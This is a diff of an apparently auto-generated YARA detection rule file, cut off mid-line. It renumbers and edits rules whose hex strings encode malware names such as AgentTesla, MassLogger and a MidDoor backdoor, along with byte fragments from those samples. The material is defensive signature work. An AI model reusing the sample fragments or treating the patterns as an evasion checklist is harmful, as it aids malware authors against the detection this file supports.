-55272,28 +57727,29 @@ rule _InfrastructureShared_5341{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_5342{ +rule _InfrastructureShared_5581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 65 74 6c 65 2e 52 50 59 21 4d 54 42 00 01 00 1a 01 6c f0 30 61 a4 f0 30 61 c0 f0 30 61 dc f0 30 61 fc f0 30 61 24 eb 30 61 05 40 01 00 14 01 30 ab 0e 61 20 ab 0e } //21539 - $a_0e_1 = {61 00 ab 0e 61 50 ac 0e 61 00 00 78 60 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 43 48 21 4d 54 42 00 03 00 2f 01 06 08 02 07 17 28 12 00 00 0a 28 10 00 00 0a 61 28 13 00 00 0a 28 14 00 00 0a 28 15 00 00 0a 0a 00 07 17 58 b5 0b 07 11 04 13 05 11 05 31 d1 00 00 78 60 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 4d 49 54 4d 3a 57 61 6a 61 6d 34 00 01 00 15 03 2e 3f 41 56 3c 6c 61 6d 62 64 61 5f 90 1e 20 00 3e 40 40 90 00 01 00 } //4193 + $a_0e_1 = {61 00 ab 0e 61 50 ac 0e 61 00 00 78 60 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 54 65 64 79 2e 47 56 43 31 00 02 00 25 01 44 01 c2 0f af ca 83 e1 01 83 f9 00 0f 94 c2 83 f8 0a 0f 9c c1 88 c8 34 ff 41 88 d3 41 30 c3 41 20 d3 41 88 d2 01 00 14 01 44 20 ca 41 80 f0 ff 44 20 c0 08 c2 88 c8 20 d0 30 d1 08 c8 00 00 78 60 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 4d 49 54 4d 3a 57 61 6a 61 6d 34 00 01 00 15 03 2e 3f 41 56 3c 6c 61 6d 62 64 61 5f 90 1e 20 00 3e 40 40 90 00 01 00 } //4193 condition: ((#a_4c_0 & 1)*21539+(#a_0e_1 & 1)*4193) >=2 } -rule _InfrastructureShared_5343{ +rule _InfrastructureShared_5582{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 43 48 21 4d 54 42 00 03 00 2f 01 06 08 02 07 17 28 12 00 00 0a 28 10 00 00 0a 61 28 13 00 00 0a 28 14 00 00 0a 28 15 00 00 0a 0a 00 07 17 58 b5 0b 07 11 04 } //16675 + $a_54_0 = {3a 57 69 6e 36 34 2f 54 65 64 79 2e 47 56 43 31 00 02 00 25 01 44 01 c2 0f af ca 83 e1 01 83 f9 00 0f 94 c2 83 f8 0a 0f 9c c1 88 c8 34 ff 41 88 d3 41 30 c3 41 20 d3 41 88 d2 01 00 14 01 44 20 ca 41 80 f0 ff 44 20 c0 08 c2 88 c8 20 d0 30 d1 08 c8 00 } //18467 + $a_00_1 = {00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 4d 49 54 4d 3a 57 61 6a 61 6d 34 00 01 00 15 03 2e 3f 41 56 3c 6c 61 6d 62 64 61 5f 90 1e 20 00 3e 40 40 90 00 01 00 10 01 42 6c 61 63 6b 42 6f 6e 65 44 72 76 2e 73 79 73 01 00 10 01 65 00 78 00 74 00 2d 00 6d 00 73 00 2d 00 00 00 00 } //30720 condition: - ((#a_46_0 & 1)*16675) >=3 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720) >=3 } -rule _InfrastructureShared_5344{ +rule _InfrastructureShared_5583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -55305,7 +57761,7 @@ rule _InfrastructureShared_5344{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_69_2 & 1)*267) >=3 } -rule _InfrastructureShared_5345{ +rule _InfrastructureShared_5584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -55315,7 +57771,7 @@ rule _InfrastructureShared_5345{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_5346{ +rule _InfrastructureShared_5585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -55327,7 +57783,7 @@ rule _InfrastructureShared_5346{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720) >=3 } -rule _InfrastructureShared_5347{ +rule _InfrastructureShared_5586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -55339,7 +57795,7 @@ rule _InfrastructureShared_5347{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720) >=3 } -rule _InfrastructureShared_5348{ +rule _InfrastructureShared_5587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -55351,7 +57807,7 @@ rule _InfrastructureShared_5348{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720) >=3 } -rule _InfrastructureShared_5349{ +rule _InfrastructureShared_5588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -55363,7 +57819,7 @@ rule _InfrastructureShared_5349{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720) >=3 } -rule _InfrastructureShared_5350{ +rule _InfrastructureShared_5589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -55375,7 +57831,7 @@ rule _InfrastructureShared_5350{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720) >=3 } -rule _InfrastructureShared_5351{ +rule _InfrastructureShared_5590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -55387,7 +57843,7 @@ rule _InfrastructureShared_5351{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720) >=3 } -rule _InfrastructureShared_5352{ +rule _InfrastructureShared_5591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -55399,7 +57855,7 @@ rule _InfrastructureShared_5352{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720) >=3 } -rule _InfrastructureShared_5353{ +rule _InfrastructureShared_5592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -55411,7 +57867,7 @@ rule _InfrastructureShared_5353{ ((#a_46_0 & 1)*21283+(#a_0f_1 & 1)*15561+(#a_74_2 & 1)*12) >=3 } -rule _InfrastructureShared_5354{ +rule _InfrastructureShared_5593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -55423,7 +57879,7 @@ rule _InfrastructureShared_5354{ ((#a_4c_0 & 1)*21539+(#a_8d_1 & 1)*0+(#a_72_2 & 1)*27491) >=3 } -rule _InfrastructureShared_5355{ +rule _InfrastructureShared_5594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -55435,7 +57891,7 @@ rule _InfrastructureShared_5355{ ((#a_5f_0 & 1)*25635+(#a_21_1 & 1)*28257+(#a_67_2 & 1)*27769) >=3 } -rule _InfrastructureShared_5356{ +rule _InfrastructureShared_5595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -55448,7 +57904,7 @@ rule _InfrastructureShared_5356{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=3 } -rule _InfrastructureShared_5357{ +rule _InfrastructureShared_5596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -55461,7 +57917,7 @@ rule _InfrastructureShared_5357{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=3 } -rule _InfrastructureShared_5358{ +rule _InfrastructureShared_5597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -55471,33 +57927,46 @@ rule _InfrastructureShared_5358{ ((#a_4c_0 & 1)*21539) >=4 } -rule _InfrastructureShared_5359{ +rule _InfrastructureShared_5598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 36 38 43 38 42 36 31 36 00 01 00 07 01 74 61 6c 6c 65 72 31 01 00 0e 01 63 65 73 73 49 6e 73 74 61 6c 6c 65 72 31 01 00 0e 01 65 00 72 00 76 00 69 00 63 00 65 00 31 00 01 00 08 01 2e 57 65 62 53 65 72 76 00 } //18467 $a_00_1 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 64 66 6f 73 2e 67 65 6e 21 45 32 00 02 00 05 41 ba ee ee ff ff 01 00 0a 41 c1 ea 10 33 b4 0d 00 03 00 00 01 00 0a 41 c1 e8 10 33 bc 1d 00 01 00 00 01 00 0d 41 33 74 1d 00 8a da 33 b4 0d 00 02 00 00 00 } //30720 + $a_00_2 = {00 04 00 04 00 04 00 21 23 4f 46 4e 3a 74 61 6b 65 6f 77 6e 2e 65 78 65 00 01 00 0c 01 74 61 6b 65 6f 77 6e 2e 70 64 62 00 01 00 08 01 50 41 52 53 45 52 32 00 01 00 0a 01 49 00 50 00 43 00 24 00 00 00 01 00 18 00 74 00 61 00 6b 00 65 00 6f 00 77 00 6e 00 2e 00 65 00 78 00 65 00 00 00 00 } //30720 + $a_00_3 = {00 05 00 05 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 53 49 53 49 6e 6a 65 63 74 2e 53 4d 4f 49 32 37 30 35 21 4d 54 42 00 05 00 28 03 8b d8 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 56 ff d7 85 c0 0f 84 90 01 02 00 00 68 80 74 d2 1a 68 99 00 00 00 90 00 00 } //30720 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=4 + +} +rule _InfrastructureShared_5599{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 64 66 6f 73 2e 67 65 6e 21 45 32 00 02 00 05 41 ba ee ee ff ff 01 00 0a 41 c1 ea 10 33 b4 0d 00 03 00 00 01 00 0a 41 c1 e8 10 33 bc 1d 00 01 00 00 01 00 0d 41 33 74 1d 00 8a da 33 b4 0d 00 02 00 00 00 } //18467 + $a_00_1 = {00 04 00 04 00 04 00 21 23 4f 46 4e 3a 74 61 6b 65 6f 77 6e 2e 65 78 65 00 01 00 0c 01 74 61 6b 65 6f 77 6e 2e 70 64 62 00 01 00 08 01 50 41 52 53 45 52 32 00 01 00 0a 01 49 00 50 00 43 00 24 00 00 00 01 00 18 00 74 00 61 00 6b 00 65 00 6f 00 77 00 6e 00 2e 00 65 00 78 00 65 00 00 00 00 } //30720 $a_00_2 = {00 05 00 05 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 53 49 53 49 6e 6a 65 63 74 2e 53 4d 4f 49 32 37 30 35 21 4d 54 42 00 05 00 28 03 8b d8 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 56 ff d7 85 c0 0f 84 90 01 02 00 00 68 80 74 d2 1a 68 99 00 00 00 90 00 00 } //30720 $a_00_3 = {00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 73 73 4c 6f 67 67 65 72 2e 41 41 42 21 4d 54 42 00 04 00 1a 03 0a 9c 0a 16 0b 2b 0d 04 06 07 91 6f 90 01 01 00 00 0a 07 17 58 0b 07 03 90 00 01 00 11 03 0a 9c 25 18 0f 00 28 90 01 01 00 00 0a 9c 6f 90 00 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_5360{ +rule _InfrastructureShared_5600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 64 66 6f 73 2e 67 65 6e 21 45 32 00 02 00 05 41 ba ee ee ff ff 01 00 0a 41 c1 ea 10 33 b4 0d 00 03 00 00 01 00 0a 41 c1 e8 10 33 bc 1d 00 01 00 00 01 00 0d 41 33 74 1d 00 8a da 33 b4 0d 00 02 00 00 00 } //18467 - $a_00_1 = {00 05 00 05 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 53 49 53 49 6e 6a 65 63 74 2e 53 4d 4f 49 32 37 30 35 21 4d 54 42 00 05 00 28 03 8b d8 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 56 ff d7 85 c0 0f 84 90 01 02 00 00 68 80 74 d2 1a 68 99 00 00 00 90 00 00 } //30720 - $a_00_2 = {00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 73 73 4c 6f 67 67 65 72 2e 41 41 42 21 4d 54 42 00 04 00 1a 03 0a 9c 0a 16 0b 2b 0d 04 06 07 91 6f 90 01 01 00 00 0a 07 17 58 0b 07 03 90 00 01 00 11 03 0a 9c 25 18 0f 00 28 90 01 01 00 00 0a 9c 6f 90 00 00 } //30720 - $a_00_3 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 47 65 6e 65 72 61 6c 4d 65 74 68 6f 64 73 55 73 65 64 00 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 06 01 49 6e 76 6f 6b 65 01 00 06 01 42 69 74 6d 61 70 01 00 0d 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 00 } //30720 + $a_4e_0 = {74 61 6b 65 6f 77 6e 2e 65 78 65 00 01 00 0c 01 74 61 6b 65 6f 77 6e 2e 70 64 62 00 01 00 08 01 50 41 52 53 45 52 32 00 01 00 0a 01 49 00 50 00 43 00 24 00 00 00 01 00 18 00 74 00 61 00 6b 00 65 00 6f 00 77 00 } //20259 + $a_00_1 = {65 00 78 00 65 00 00 00 00 00 78 60 00 00 05 00 05 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 53 49 53 49 6e } //110 + $a_74_2 = {53 4d 4f 49 32 37 30 35 21 4d 54 42 00 05 00 28 03 8b d8 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 56 ff d7 85 c0 0f 84 90 01 02 00 00 68 80 74 d2 1a 68 99 00 00 00 90 00 00 00 78 60 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 73 73 4c 6f 67 67 65 72 2e 41 } //25962 + $a_4d_3 = {42 00 04 00 1a 03 0a 9c 0a 16 0b 2b 0d 04 06 07 91 6f 90 01 01 00 00 0a 07 17 58 0b 07 03 90 00 01 } //16961 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=4 + ((#a_4e_0 & 1)*20259+(#a_00_1 & 1)*110+(#a_74_2 & 1)*25962+(#a_4d_3 & 1)*16961) >=4 } -rule _InfrastructureShared_5361{ +rule _InfrastructureShared_5601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -55507,7 +57976,7 @@ rule _InfrastructureShared_5361{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_5362{ +rule _InfrastructureShared_5602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -55518,7 +57987,7 @@ rule _InfrastructureShared_5362{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*15) >=5 } -rule _InfrastructureShared_5363{ +rule _InfrastructureShared_5603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -55532,7 +58001,7 @@ rule _InfrastructureShared_5363{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=5 } -rule _InfrastructureShared_5364{ +rule _InfrastructureShared_5604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -55542,7 +58011,7 @@ rule _InfrastructureShared_5364{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5365{ +rule _InfrastructureShared_5605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -55552,7 +58021,7 @@ rule _InfrastructureShared_5365{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5366{ +rule _InfrastructureShared_5606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -55562,7 +58031,7 @@ rule _InfrastructureShared_5366{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5367{ +rule _InfrastructureShared_5607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -55573,7 +58042,7 @@ rule _InfrastructureShared_5367{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*29282) >=11 } -rule _InfrastructureShared_5368{ +rule _InfrastructureShared_5608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -55585,7 +58054,7 @@ rule _InfrastructureShared_5368{ ((#a_77_0 & 1)*19491+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=11 } -rule _InfrastructureShared_5369{ +rule _InfrastructureShared_5609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -55599,7 +58068,7 @@ rule _InfrastructureShared_5369{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=11 } -rule _InfrastructureShared_5370{ +rule _InfrastructureShared_5610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 06 00 21 " @@ -55608,13 +58077,13 @@ rule _InfrastructureShared_5370{ $a_00_1 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4d 69 64 44 6f 6f 72 2e 42 21 64 68 61 00 01 00 32 42 48 89 84 24 90 01 04 48 89 9c 24 90 01 04 48 8d 05 90 01 04 bb 03 00 00 00 48 8d 8c 24 90 01 04 bf 02 00 00 00 48 89 fe 66 90 90 e8 90 01 04 e8 90 00 00 } //30720 $a_00_2 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 61 67 6f 6f 74 2e 53 30 32 00 01 00 33 03 09 11 04 91 0b 06 07 6f 90 01 04 11 04 17 58 13 04 11 04 09 8e 69 32 e7 03 13 05 16 13 06 2b 13 11 05 11 06 91 0c 06 08 6f 90 01 04 11 06 17 58 13 90 00 00 } //30720 $a_00_3 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 7a 65 6e 61 2e 53 30 32 00 01 00 32 03 5c 55 73 65 72 73 5c 44 4e 53 5c 44 6f 63 75 6d 65 6e 74 73 5c 90 02 10 5c 73 68 65 6c 6c 5c 90 02 30 5c 6b 65 79 5f 65 78 65 5f 73 6d 61 6c 6c 90 00 00 } //30720 - $a_00_4 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 4f 57 21 4d 54 42 00 01 00 30 02 01 11 05 11 0a 74 90 01 03 1b 11 0c 11 07 58 11 09 59 93 61 11 0b 75 90 01 03 1b 11 09 11 0c 58 1f 11 58 11 08 5d 93 61 d1 6f 90 01 03 0a 90 00 00 } //30720 - $a_00_5 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 4b 41 58 21 4d 54 42 00 01 00 30 03 11 04 11 05 8f 90 01 01 00 00 01 25 71 90 01 01 00 00 01 11 05 0e 04 58 20 90 01 01 00 00 00 5f d2 61 d2 81 90 01 01 00 00 01 11 05 17 58 90 00 00 } //30720 + $a_00_4 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 57 72 65 74 63 68 65 64 49 6e 73 65 63 74 2e 41 21 64 68 61 00 01 00 2c 03 57 00 69 00 6e 00 44 00 72 00 75 00 6e 00 6e 00 65 00 72 00 20 00 46 00 6f 00 72 00 20 00 90 2b 14 00 20 00 2d 00 20 00 56 00 90 00 00 } //30720 + $a_00_5 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 4f 57 21 4d 54 42 00 01 00 30 02 01 11 05 11 0a 74 90 01 03 1b 11 0c 11 07 58 11 09 59 93 61 11 0b 75 90 01 03 1b 11 09 11 0c 58 1f 11 58 11 08 5d 93 61 d1 6f 90 01 03 0a 90 00 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=13 } -rule _InfrastructureShared_5371{ +rule _InfrastructureShared_5611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55624,7 +58093,7 @@ rule _InfrastructureShared_5371{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5372{ +rule _InfrastructureShared_5612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55634,7 +58103,7 @@ rule _InfrastructureShared_5372{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5373{ +rule _InfrastructureShared_5613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55644,7 +58113,17 @@ rule _InfrastructureShared_5373{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5374{ +rule _InfrastructureShared_5614{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 57 72 65 74 63 68 65 64 49 6e 73 65 63 74 2e 41 21 64 68 61 00 01 00 2c 03 57 00 69 00 6e 00 44 00 72 00 75 00 6e 00 6e 00 65 00 72 00 20 00 46 00 6f 00 72 00 20 00 90 2b 14 00 20 00 2d } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_5615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55654,7 +58133,7 @@ rule _InfrastructureShared_5374{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5375{ +rule _InfrastructureShared_5616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55664,7 +58143,7 @@ rule _InfrastructureShared_5375{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5376{ +rule _InfrastructureShared_5617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55674,7 +58153,7 @@ rule _InfrastructureShared_5376{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5377{ +rule _InfrastructureShared_5618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55684,17 +58163,7 @@ rule _InfrastructureShared_5377{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5378{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 74 73 70 69 70 65 2e 41 21 64 68 61 00 01 00 33 01 48 8b 09 48 8d 44 24 40 48 89 44 24 38 c7 44 24 30 f4 01 00 00 c7 44 24 28 00 20 00 00 c7 44 24 20 00 20 00 00 41 b9 01 00 00 00 45 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=1 - -} -rule _InfrastructureShared_5379{ +rule _InfrastructureShared_5619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55704,7 +58173,7 @@ rule _InfrastructureShared_5379{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5380{ +rule _InfrastructureShared_5620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55714,7 +58183,7 @@ rule _InfrastructureShared_5380{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5381{ +rule _InfrastructureShared_5621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55724,7 +58193,7 @@ rule _InfrastructureShared_5381{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5382{ +rule _InfrastructureShared_5622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55734,7 +58203,7 @@ rule _InfrastructureShared_5382{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5383{ +rule _InfrastructureShared_5623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55744,7 +58213,7 @@ rule _InfrastructureShared_5383{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5384{ +rule _InfrastructureShared_5624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55754,7 +58223,7 @@ rule _InfrastructureShared_5384{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5385{ +rule _InfrastructureShared_5625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55764,7 +58233,7 @@ rule _InfrastructureShared_5385{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5386{ +rule _InfrastructureShared_5626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55774,7 +58243,7 @@ rule _InfrastructureShared_5386{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5387{ +rule _InfrastructureShared_5627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55784,7 +58253,7 @@ rule _InfrastructureShared_5387{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5388{ +rule _InfrastructureShared_5628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55794,7 +58263,7 @@ rule _InfrastructureShared_5388{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5389{ +rule _InfrastructureShared_5629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55804,7 +58273,7 